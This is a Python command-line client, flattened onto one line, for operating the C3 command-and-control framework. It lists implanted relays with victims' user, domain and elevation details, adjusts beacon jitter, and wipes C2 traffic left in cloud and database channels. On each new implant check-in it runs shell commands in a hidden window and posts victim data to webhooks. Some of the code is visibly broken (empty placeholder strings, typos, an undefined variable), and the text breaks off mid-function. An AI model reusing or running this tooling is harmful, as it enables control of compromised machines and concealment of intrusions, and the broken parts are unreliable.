#!/usr/bin/python3 import os import sys import io import re import time import json import requests import subprocess import argparse import random import string import zipfile from datetime import datetime config = { 'verbose' : False, 'debug' : False, 'host' : '', 'dry_run' : False, 'command' : '', 'format' : 'text', 'httpauth' : '', } commands = { 'list' : [ 'gateways', 'relays' ], 'get' : [ 'gateway', 'relay' ] } serverValidated = False # BackendCommons.h: enum class Command : std::uint16_t commandsMap = { 'AddDevice' : 0, 'Close' : 2**16 - 1, 'UpdateJitter' : 2**16 - 2, 'CreateRoute' : 2**16 - 3, 'RemoveRoute' : 2**16 - 4, 'SetGRC' : 2**16 - 5, 'Ping' : 2**16 - 6, 'ClearNetwork' : 2**16 - 7, } headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)', } class Logger: @staticmethod def _out(x): if config['debug'] or config['verbose']: sys.stdout.write(x + '\n') @staticmethod def dbg(x): if config['debug']: sys.stdout.write('[dbg] ' + x + '\n') @staticmethod def out(x): Logger._out('[.] ' + x) @staticmethod def info(x): Logger._out('[?] ' + x) @staticmethod def err(x): sys.stdout.write('[!] ' + x + '\n') @staticmethod def fatal(x): sys.stdout.write('[!] ' + x + '\n') sys.exit(1) @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) def printJson(data): print(json.dumps(data, sort_keys=True, indent=4)) def getRequest(url, rawResp = False, stream = False): global serverValidated auth = None if config['httpauth']: user, _pass = config['httpauth'].split(':') Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}') auth = requests.HTTPDigestAuth(user, _pass) fullurl = config["host"] + url Logger.info(f'GET Request: {fullurl}') try: resp = requests.get(fullurl, headers=headers, auth=auth, stream = stream, timeout = 5) if not serverValidated: try: gateways = requests.get(config["host"] + '/api/gateway', headers=headers, auth=auth, stream = stream, timeout = 5) if gateways.status_code < 200 or gateways.status_code > 300: raise Exception() serverValidated = True except: Logger.fatal('Server could not be validated. Are you sure your Host value points to a valid C3 webcontroller URL?') except requests.exceptions.ConnectTimeout as e: Logger.fatal(f'Connection with {config["host"]} timed-out.') except Exception as e: Logger.fatal(f'GET request failed ({url}): {e}') Logger.dbg(f'First 512 bytes of response:\n{resp.text[:512]}') if rawResp: return resp try: ret = resp.json() except: ret = resp.text return ret def postRequest(url, data=None, contentType = 'application/json', rawResp = False): auth = None if config['httpauth']: user, _pass = config['httpauth'].split(':') Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}') auth = requests.HTTPDigestAuth(user, _pass) fullurl = config["host"] + url Logger.info(f'POST Request: {fullurl}') resp = None if config['dry_run']: print(f'[?] Dry-run mode: Skipping post request ({url})') if rawResp: class MockResponse(): def __init__(self, status_code, text): self.status_code = status_code self.text = text return MockResponse(201, '') else: return '' if contentType.endswith('/json'): resp = requests.post(fullurl, json=data, headers=headers, auth=auth) else: resp = requests.post(fullurl, data=data, headers=headers, auth=auth) if rawResp: return resp try: ret = resp.json() except: ret = resp.text return ret def printFullGateway(gatewayId): gateway = getRequest(f'/api/gateway/{gatewayId}') if type(gateway) == str and re.match(r'Gateway with id = \w+ not found', gateway, re.I): Logger.err(f'Gateway with ID {gatewayId} was not found.') if config['format'] == 'json': print('{}') sys.exit(1) if config['format'] == 'json': printJson(gateway) else: printGatewayText(gateway) indent = ' ' print() print(f'{indent}Connectors:') num = 0 cnum = 0 for c in gateway['connectors']: cnum += 1 addr = '' port = '' for d in c['propertiesText']['arguments']: if d['type'] == 'ip': addr = d['value'] elif d['type'] == 'uint16': port = d['value'] print(f'{indent} Connector ID: {c["iid"]}') print(f'{indent} Host: {addr}:{port}\n') num = 0 print(f'{indent}Channels:') for c in gateway['channels']: num += 1 kind = 'Channel' name = '' # todo if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']: kind = 'Negotiation Channel' if 'isReturnChannel' in c.keys() and c['isReturnChannel']: kind = 'Gateway Return Channel (GRC)' print(f'''{indent}{indent}{kind} {num}:\t{name} {indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])} {indent}{indent} Properties:''') for arg in c['propertiesText']['arguments']: if type(arg) == list or type(arg) == tuple: for arg1 in arg: print(f'''{indent}{indent} Name: {arg1['name']} {indent}{indent} Value: {arg1['value']} ''') else: print(f'''{indent}{indent} Name: {arg['name']} {indent}{indent} Value: {arg['value']} ''') num = 0 for g in gateway['relays']: num += 1 alive = '' elevated = '' if g['isActive']: alive = '\t\t\t(+)' if g['hostInfo']['isElevated']: elevated = '\t\t\t(###)' print(f''' {indent}Relay {num}: {g['name']} {indent} Relay ID: {g['agentId']} {indent} Build ID: {g['buildId']} {indent} Is active: {g['isActive']}{alive} {indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])} {indent} Host Info: {indent} Computer: {g['hostInfo']['computerName']} {indent} Domain: {g['hostInfo']['domain']} {indent} User Name: {g['hostInfo']['userName']} {indent} Is elevated: {g['hostInfo']['isElevated']}{elevated} {indent} OS Version: {g['hostInfo']['osVersion']} {indent} Process ID: {g['hostInfo']['processId']}''') def onGetGateway(args): gateways = getRequest('/api/gateway') for g in gateways: if args.name.lower() == g['name'].lower(): print('\n== Relays connected to Gateway ' + g['name'] + ': ') printFullGateway(g['agentId']) return printFullGateway(args.name) def printFullRelay(r, num = 0, indent=' '): alive = '' elevated = '' if r['isActive']: alive = '\t\t\t(+)' if r['hostInfo']['isElevated']: elevated = '\t\t\t(###)' print(f'''{indent}Relay {num}: {r['name']} {indent} Relay ID: {r['agentId']} {indent} Build ID: {r['buildId']} {indent} Is active: {r['isActive']}{alive} {indent} Timestamp: {datetime.fromtimestamp(r['timestamp'])} {indent} Host Info: {indent} Computer: {r['hostInfo']['computerName']} {indent} Domain: {r['hostInfo']['domain']} {indent} User Name: {r['hostInfo']['userName']} {indent} Is elevated: {r['hostInfo']['isElevated']}{elevated} {indent} OS Version: {r['hostInfo']['osVersion']} {indent} Process ID: {r['hostInfo']['processId']} ''') cnum = 0 print(f'{indent}Channels:') for c in r['channels']: cnum += 1 kind = 'Channel' name = '' # todo if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']: kind = 'Negotiation Channel' if 'isReturnChannel' in c.keys() and c['isReturnChannel']: kind = 'Gateway Return Channel (GRC)' print(f'''{indent}{indent}{kind} {cnum}:\t{name} {indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])} {indent}{indent} Properties:''') for arg in c['propertiesText']['arguments']: if type(arg) == list or type(arg) == tuple: for arg1 in arg: print(f'''{indent}{indent} Name: {arg1['name']} {indent}{indent} Value: {arg1['value']} ''') else: print(f'''{indent}{indent} Name: {arg['name']} {indent}{indent} Value: {arg['value']} ''') def onGetRelay(args): Logger.dbg('in onListRelays(): ' + str(args)) relays = collectRelays(args) if len(relays) == 0: Logger.err('Could not find specified Relay given neither its name nor agentId.') if config['format'] == 'json': print('{}') sys.exit(1) num = 0 if config['format'] == 'text': for gateway, relay in relays: num += 1 printFullRelay(relay, num) elif config['format'] == 'json': printJson(relays) def printGatewayText(g, num = 0): alive = '' if g['isActive']: alive = '\t\t\t(+)' print(f''' Gateway {num}:\t{g['name']} Gateway ID: {g['agentId']} Build ID: {g['buildId']} Is active: {g['isActive']}{alive} Timestamp: {datetime.fromtimestamp(g['timestamp'])}''') def onListGateways(args): Logger.dbg('in onListGateways(): ' + str(args)) gateways = getRequest('/api/gateway') if config['format'] == 'json': printJson(gateways) elif config['format'] == 'text': num = 0 for g in gateways: num += 1 if args.active: if not g['isActive']: continue printGatewayText(g, num) def listGatewayRelays(gatewayId, indent = '', onlyActive = False): relays = getRequest(f'/api/gateway/{gatewayId}') if type(relays) == str and re.match(r'Gateway with id = \w+ not found', relays, re.I): Logger.err(f'Gateway with ID {gatewayId} was not found.') if config['format'] == 'json': print('{}') sys.exit(1) if config['format'] == 'json': printJson(relays['relays']) elif config['format'] == 'text': num = 0 for g in relays['relays']: num += 1 alive = '' elevated = '' if onlyActive: if not g['isActive']: continue if g['isActive']: alive = '\t\t\t(+)' if g['hostInfo']['isElevated']: elevated = '\t\t\t(###)' print(f''' {indent}Relay {num}:\t{g['name']} {indent} Relay ID: {g['agentId']} {indent} Build ID: {g['buildId']} {indent} Is active: {g['isActive']}{alive} {indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])} {indent} Host Info: {indent} Computer: {g['hostInfo']['computerName']} {indent} Domain: {g['hostInfo']['domain']} {indent} User Name: {g['hostInfo']['userName']} {indent} Is elevated: {g['hostInfo']['isElevated']} {indent} OS Version: {g['hostInfo']['osVersion']} {indent} Process ID: {g['hostInfo']['processId']}''') def onListRelays(args): Logger.dbg('in onListRelays(): ') if args.gateway_id != None: gateways = getRequest('/api/gateway') for g in gateways: if args.gateway_id == g['name'].lower(): print('\n== Relays connected to Gateway ' + g['name'] + ': ') listGatewayRelays(g['agentId'], onlyActive = args.active) return listGatewayRelays(args.gateway_id, onlyActive = args.active) else: gateways = getRequest('/api/gateway') num = 0 relays = {} relays['gateways'] = [] for g in gateways: num += 1 if config['format'] == 'text': print(f''' Gateway {num}:\t{g['name']}''') listGatewayRelays(g['agentId'], indent = ' ', onlyActive = args.active) else: relaysData = getRequest(f'/api/gateway/{g["agentId"]}') g['relays'] = relaysData['relays'] relays['gateways'].append(g) if config['format'] == 'json': printJson(relays) def collectRelays(args, nonFatal = False): relays = [] gateways = getRequest('/api/gateway') gateway_id = '' relay_id = '' if hasattr(args, 'gateway_id'): gateway_id = args.gateway_id Logger.info(f'Collecting relays from gateway {gateway_id}') if hasattr(args, 'relay_id'): relay_id = args.relay_id Logger.info(f'Collecting relays matching name/ID: {relay_id}') for _gateway in gateways: if len(gateway_id) > 0: if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower(): continue gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}') for relay in gateway['relays']: if len(relay_id) > 0: if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower(): continue relays.append((gateway, relay)) if len(relays) == 0 and not nonFatal: Logger.fatal('Could not find Relays matching filter criteria. Try changing gateway, relay criteria.') return relays def processCapability(gateway): caps = getRequest(f'/api/gateway/{gateway["agentId"]}/capability') commandIds = {} channels = {} peripherals = {} for gatewayVal in caps['gateway']: for commandVal in gatewayVal['commands']: commandIds[commandVal['name'].lower()] = commandVal['id'] Logger.dbg(f'Gateway capability: commands: {commandVal["name"]} = {commandVal["id"]}') for channel in caps['channels']: channels[channel['name']] = channel['type'] for peri in caps['peripherals']: peripherals[peri['name']] = peri['type'] Logger.dbg('Gateway supports following channels: ' + str(', '.join(channels.keys()))) Logger.dbg('Gateway supports following peripherals: ' + str(', '.join(peripherals.keys()))) capability = { 'raw' : caps, 'commandIds' : commandIds, 'channels' : channels, 'peripherals' : peripherals, } return capability def getCommandIdMapping(gateway, command): capability = processCapability(gateway) return capability['commandIds'][command.lower()] def onPing(args): try: if args.keep_pinging > 0: while True: print(f'[.] Sending a ping every {args.keep_pinging} seconds.') _onPing(args) time.sleep(args.keep_pinging) else: print('[.] Pinging only once...') _onPing(args) except KeyboardInterrupt as e: print('[.] User stopped Pinging process.') def _onPing(args): relays = collectRelays(args) if len(relays) == 0: print('[-] No relays found that could be pinged.') return pinged = 0 for gateway, relay in relays: Logger.info(f'Pinging relay {relay["name"]}...') data = { 'name' : 'RelayCommandGroup', 'data' : { 'id' : commandsMap['Ping'], 'name' : 'Command', 'command' : 'Ping', 'arguments' : [] } } ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data) if type(ret) == dict and 'relayAgentId' in ret.keys() and ret['relayAgentId'] == relay['agentId']: print(f'[.] Pinged relay: {relay["name"]} (id: {relay["agentId"]}) from gateway {gateway["name"]}') pinged += 1 if pinged == 0: print('[-] There were no active relays that could be pinged.\n') else: print(f'[+] Pinged {pinged} active relays.\n') def getLastGatewayCommandID(): lastId = 0 gateways = getRequest(f'/api/gateway') for gateway in gateways: commands = getRequest(f'/api/gateway/{gateway["agentId"]}/command') for comm in commands: if comm['id'] > lastId: lastId = comm['id'] return lastId + 1 def onAllChannelsClear(args): channels = { 'LDAP' : onLDAPClear, 'MSSQL' : onMSSQLClearTable, 'Mattermost' : onMattermostPurge, 'GoogleDrive' : onGoogleDriveClear, 'Github' : onGithubClear, 'Dropbox' : onDropboxClear, 'UncShareFile' : onUncShareFileClear, } for k, v in channels.items(): print(f'\n[.] {k}: Clearing messages queue...') v(args) def onMattermostPurge(args): data = { 'data' : { 'arguments' : [], 'command' : 'Clear all channel messages', 'id' : 0, 'name' : 'Mattermost' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'mattermost') if len(channels) == 0: print('[-] No channels could be found to receive Mattermost purge command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'Clear all' in str(ret): if 'relay' in channel.keys(): print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onJitter(args): gateways = getRequest('/api/gateway') channelsToUpdate = [] for _gateway in gateways: if len(args.gateway_id) > 0: if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower(): continue gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}') capability = processCapability(gateway) if len(args.relay_id) == 0: for channel in gateway['channels']: name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])] if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id): channelsToUpdate.append({ 'url' : f'/api/gateway/{_gateway["agentId"]}/channel/{channel["iid"]}/command', 'name' : name, 'iid' : channel['iid'], 'agent' : gateway, 'kind' : 'Gateway', }) for relay in gateway['relays']: if len(args.relay_id) > 0: if relay["agentId"].lower() != args.relay_id.lower() and relay["name"].lower() != args.relay_id.lower(): continue for channel in relay['channels']: name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])] if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id): channelsToUpdate.append({ 'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command', 'name' : name, 'iid' : channel['iid'], 'agent' : relay, 'kind' : 'Relay', }) if len(channelsToUpdate) == 0: Logger.fatal('Could not find channels that should have their Jitter updated. Try changing search criteria.') for channel in channelsToUpdate: data = { "name" : "ChannelCommandGroup", "data" : { "id" : commandsMap['UpdateJitter'], "name" : channel['name'], "command" : "Set UpdateDelayJitter", "arguments" : [ { "type" : "float", "name" : "Min", "value" : str(args.min_jitter) }, { "type" : "float", "name" : "Max", "value" : str(args.max_jitter) } ] } } Logger.info(f'Updating Jitter on channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) to {args.min_jitter}...{args.max_jitter}') ret = postRequest(channel['url'], data = data, rawResp = True) if ret.status_code == 201: print(f'[+] Channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) got its Jitter updated to {args.min_jitter}...{args.max_jitter}\n') def onLDAPClear(args): data = { 'data' : { 'arguments' : [], 'command' : 'Clear attribute values', 'id' : 0, 'name' : 'LDAP' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'ldap') if len(channels) == 0: print('[-] No channels could be found to receive LDAP clear attribute command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'LDAP' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onMSSQLClearTable(args): data = { 'data' : { 'arguments' : [], 'command' : 'Clear DB Table', 'id' : 0, 'name' : 'MSSQL' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'mssql') if len(channels) == 0: print('[-] No channels could be found to receive MSSQL clear DB table command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'MSSQL' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared MSSQL Table on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared MSSQL Table value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onUncShareFileClear(args): data = { 'data' : { 'arguments' : [], 'command' : 'Remove all message files', 'id' : 0, 'name' : 'UncShareFile' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'uncsharefile') if len(channels) == 0: print('[-] No channels could be found to receive UncShareFile remove all message files command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'UncShareFile' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onDropboxClear(args): data = { 'data' : { 'arguments' : [], 'command' : 'Remove All Files', 'id' : 1, 'name' : 'Dropbox' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'dropbox') if len(channels) == 0: print('[-] No channels could be found to receive Dropbox remove all message files command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'Dropbox' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onGithubClear(args): data = { 'data' : { 'arguments' : [], 'command' : 'Remove All Files', 'id' : 1, 'name' : 'Github' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'github') if len(channels) == 0: print('[-] No channels could be found to receive Github remove all message files command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'Github' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def onGoogleDriveClear(args): data = { 'data' : { 'arguments' : [], 'command' : 'Remove All Files', 'id' : 1, 'name' : 'GoogleDrive' }, 'name' : 'ChannelCommandGroup' } channels = collectChannels(args, 'googledrive') if len(channels) == 0: print('[-] No channels could be found to receive GoogleDrive remove all message files command.') return for channel in channels: ret = postRequest(channel['url'], data) if type(ret) == dict and 'GoogleDrive' in str(ret): if 'relay' in channel.keys(): print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}') else: print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}') def getDeviceName(gateway, devicesType, deviceType): capability = processCapability(gateway) name = list(capability[devicesType].keys())[list(capability[devicesType].values()).index(deviceType)] return name def collectChannels(args, channelName): channels = [] gateways = getRequest('/api/gateway') gateway_id = '' relay_id = '' channel_id = '' if hasattr(args, 'gateway_id'): gateway_id = args.gateway_id Logger.info(f'Collecting relays from gateway {gateway_id}') if hasattr(args, 'relay_id'): relay_id = args.relay_id Logger.info(f'Collecting relays matching name/ID: {relay_id}') if hasattr(args, 'channel_id'): channel_id = args.channel_id Logger.info(f'Collecting channels matching name/ID: {channel_id}') for _gateway in gateways: if len(gateway_id) > 0: if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower(): continue gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}') for channel in gateway['channels']: if len(channel_id) > 0: if channel["iid"].lower() != channel_id.lower(): continue name = getDeviceName(gateway, 'channels', channel['type']) if name.lower() != channelName.lower(): continue Logger.dbg(f'Adding channel {channel["iid"]} in Gateway {gateway["name"]}.') channels.append({ 'url' : f'/api/gateway/{gateway["agentId"]}/channel/{channel["iid"]}/command', 'gateway' : gateway, 'channelId' : channel['iid'], }) for relay in gateway['relays']: if len(relay_id) > 0: if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower(): continue if 'channels' in relay.keys(): for channel in relay['channels']: if len(channel_id) > 0: if channel["iid"].lower() != channel_id.lower(): continue name = getDeviceName(gateway, 'channels', channel['type']) if name.lower() != channelName.lower(): continue Logger.dbg(f'Adding channel {channel["iid"]} in Relay {relay["name"]}.') channels.append({ 'url' : f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command', 'gateway' : gateway, 'relay' : relay, 'channelId' : channel['iid'], }) return channels def shell(cmd, alternative = False, stdErrToStdout = False, surpressStderr = False): CREATE_NO_WINDOW = 0x08000000 si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW si.wShowWindow = subprocess.SW_HIDE outs = '' errs = '' if not alternative: out = subprocess.run( cmd, cwd = os.getcwd(), shell=True, capture_output=True, startupinfo=si, creationflags=CREATE_NO_WINDOW, timeout=60 ) outs = out.stdout errs = out.stderr else: proc = subprocess.Popen( cmd, cwd = cwd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=si, creationflags=CREATE_NO_WINDOW ) try: outs, errs = proc.communicate(timeout=60) proc.wait() except TimeoutExpired: proc.kill() logger.err('WARNING! The command timed-out! Results may be incomplete') outs, errs = proc.communicate() status = outs.decode(errors='ignore').strip() return status def onAlarmRelay(args): origRelays = collectRelays(args, nonFatal = True) lastTimestamp = 0 origRelayIds = set() for gateway, relay in origRelays: origRelayIds.add(relay['agentId']) if relay['timestamp'] > lastTimestamp: lastTimestamp = relay['timestamp'] print('[.] Entering infinite-loop awaiting for new Relays...') try: while True: time.sleep(args.delay) currRelays = collectRelays(args, nonFatal = True) currRelayIds = set() currLastTimestamp = 0 for gateway, relay in currRelays: currRelayIds.add(relay['agentId']) if relay['timestamp'] > currLastTimestamp: currLastTimestamp = relay['timestamp'] relaysDiff = currRelayIds.difference(origRelayIds) Logger.dbg(f'''Alarm loop. origRelayIds: {origRelayIds} currRelayIds: {currRelayIds} lengths: {len(origRelayIds)} vs {len(currRelayIds)} relaysDiff: {relaysDiff} lastTimestamp: {lastTimestamp} currLastTimestamp: {currLastTimestamp} New Relay? {currLastTimestamp > lastTimestamp and len(relaysDiff) > 0} ''') if currLastTimestamp > lastTimestamp and len(relaysDiff) > 0: lastTimestamp = currLastTimestamp origRelayIds = currRelayIds newestRelay = None newestRelayGateway = None newestRelayId = relaysDiff.pop() for gateway, relay in currRelays: if relay['agentId'] == newestRelayId: newestRelay = relay newestRelayGateway = gateway break if newestRelay == None: continue print('[+] New Relay checked-in!') printFullRelay(newestRelay, len(currRelays)) try: if args.execute != None and len(args.execute) > 0: for command in args.execute: cmd = command cmd = cmd.replace("", newestRelay['hostInfo']['computerName']) cmd = cmd.replace("", str(newestRelay['hostInfo']['isElevated'])) cmd = cmd.replace("", newestRelay['hostInfo']['osVersion']) cmd = cmd.replace("", newestRelay['hostInfo']['domain']) cmd = cmd.replace("", newestRelay['hostInfo']['userName']) cmd = cmd.replace("", str(newestRelay['hostInfo']['processId'])) cmd = cmd.replace("", newestRelay['name']) cmd = cmd.replace("", newestRelay['agentId']) cmd = cmd.replace("", newestRelay['buildId']) cmd = cmd.replace("", str(datetime.fromtimestamp(newestRelay['timestamp']))) cmd = cmd.replace("", newestRelayGateway['agentId']) cmd = cmd.replace("", newestRelayGateway['name']) print(f'[.] Executing command: {cmd}') time.sleep(args.command_delay) print(shell(cmd)) print('[.] Commands executed.') if args.webhook != None and len(args.webhook) > 0: for webhook in args.webhook: data = { "", newestRelay['hostInfo']['computerName'], "", newestRelay['hostInfo']['isElevated'], "", newestRelay['hostInfo']['osVersion'], "", newestRelay['hostInfo']['domain'], "", newestRelay['hostInfo']['userName'], "", newestRelay['hostInfo']['processId'], "", newestRelay['name'], "", newestRelay['agentId'], "", newestRelay['buildId'], "", datetime.fromtimestamp(newestRelay['timestamp']), "", newestRelayGateway['agentId'], "", newestRelayGateway['name'], } print(f'[.] Triggering a webhook: {webhook}') try: time.sleep(args.command_delay) requests.post(webhook, data = data, headers = headears) except Exception as e: print(f'[-] Webhook failed: {e}') print('[.] Webhooks triggered.') except Exception as e: print(f'[-] Exception occured during New-Relay alarm trigger: {e}') except KeyboardInterrupt: print('[.] New Relay alarm loop was finished.') def findAgent(agentId): gateways = getRequest('/api/gateway') for g in gateways: if g["agentId"].lower() == agentId.lower() or g["name"].lower() == agentId.lower(): return g, None gateway = getRequest(f'/api/gateway/{g["agentId"]}') if 'relays' in gateway.keys(): for r in gateway['relays']: if r["agentId"].lower() == agentId.lower() or r["name"].lower() == agentId.lower(): return g, r Logger.fatal('Could not find specified agent.') return None def getValueOrRandom(val, N = 6): if val == 'random': return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(N)) return val def closeRelay(gateway, relay): gateway = getRequest(f'/api/gateway/{gateway["agentId"]}') relayMeta = getRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}') print('\n[.] step 1: Closing bound Peripherals') for peri in relayMeta['peripherals']: name = getDeviceName(gateway, 'peripherals', peri['type']) Logger.info(f'Closing relay\'s peripheral {name} id:{peri["iid"]}') closePeripheral(gateway, relay, name, peri['iid']) print('\n[.] step 2: Closing attached channels') grcChannel = None for chan in relayMeta['channels']: if 'isReturnChannel' in chan.keys(): chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command' grcChannel = chan continue chanName = getDeviceName(gateway, 'channels', chan['type']) Logger.info(f'Closing relay\'s channel {chanName} id:{chan["iid"]}') chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command' closeChannel(chan, chanName) if not grcChannel: Logger.fatal(f'Could not determine Gateway-Return Channel of the specified Relay {relay["name"]} / {relay["agentId"]}. \n Probably its unreachable or already closed.') closeChannel(grcChannel, getDeviceName(gateway, 'channels', grcChannel['type'])) print('\n[.] step 3: closing Relay itself') data = { "name" : "RelayCommandGroup", "data" : { "id" : commandsMap['Close'], "name" : "Command", "command" : "Close", "arguments" : [] } } Logger.dbg(f'Closing Relay {relay["agentId"]} (id: {relay["agentId"]}). with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True) if ret.status_code == 201: print(f'[+] Peripheral {relay["name"]} id:{relay["agentId"]} was closed.') else: print(f'[-] Peripheral {relay["name"]} id:{relay["agentId"]} was not closed: ({ret.status_code}) {ret.text}') print('\n[.] step 4: closing a channel being a neighbour for Relay\'s GRC') closed = False for relayNode in gateway['relays'] + [gateway,]: for route in relayNode['routes']: if route['receivingInterface'] == grcChannel['iid']: for chan in relayNode['channels']: if chan['iid'] == route['outgoingInterface']: if relayNode["agentId"] == gateway['agentId']: chan['url'] = f'/api/gateway/{gateway["agentId"]}/channel/{chan["iid"]}/command' else: chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relayNode["agentId"]}/channel/{chan["iid"]}/command' closeChannel(chan, getDeviceName(gateway, 'channels', chan['type'])) closed = True break if closed: break if closed: break if closed: break if closed: print('[+] Non-Negotiation channel linked to Relay\'s Gateway-Return Channel was closed.') def onCloseRelay(args): relays = collectRelays(args) if len(relays) == 0: Logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.') for gateway, relay in relays: print(f'[.] Closing relay {relay["name"]} (in gateway: {gateway["name"]}).') closeRelay(gateway, relay) def closePeripheral(gateway, relay, peripheralName, peripheralId): data = { "name" : "PeripheralCommandGroup", "data" : { "id" : commandsMap['Close'], "name" : peripheralName, "command" : "Close", "arguments" : [] } } Logger.dbg(f'Closing peripheral {peripheralName} (id: {peripheralId}). with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/peripheral/{peripheralId}/command', data, rawResp = True) if ret.status_code == 201: print(f'[+] Peripheral {peripheralName} id:{peripheralId} was closed.') else: print(f'[-] Peripheral {peripheralName} id:{peripheralId} was not closed: ({ret.status_code}) {ret.text}') def closeChannel(channel, channelToClose): chanId = '' if 'channelId' in channel.keys(): chanId = channel['channelId'] elif 'channel_id' in channel.keys(): chanId = channel['channel_id'] elif 'iid' in channel.keys(): chanId = channel['iid'] data = { "name" : "ChannelCommandGroup", "data" : { "id" : commandsMap['Close'], "name" : channelToClose, "command" : "Close", "arguments" : [] } } Logger.dbg(f'Closing {channelToClose} channel (id: {chanId}). with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(channel["url"], data, rawResp = True) if ret.status_code == 201: print(f'[+] Channel {channelToClose} (id: {chanId}) was closed.') else: print(f'[-] Channel {channelToClose} (id: {chanId}) was not closed: ({ret.status_code}) {ret.text}') def closeNetwork(gateway): data = { "name":"GatewayCommandGroup", "data":{ "id":commandsMap['ClearNetwork'], "name":"Command", "command":"ClearNetwork", "arguments": [ { "type":"boolean", "name":"Are you sure?", "value": True } ] } } Logger.dbg(f'Closing gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True) if ret.status_code == 201: 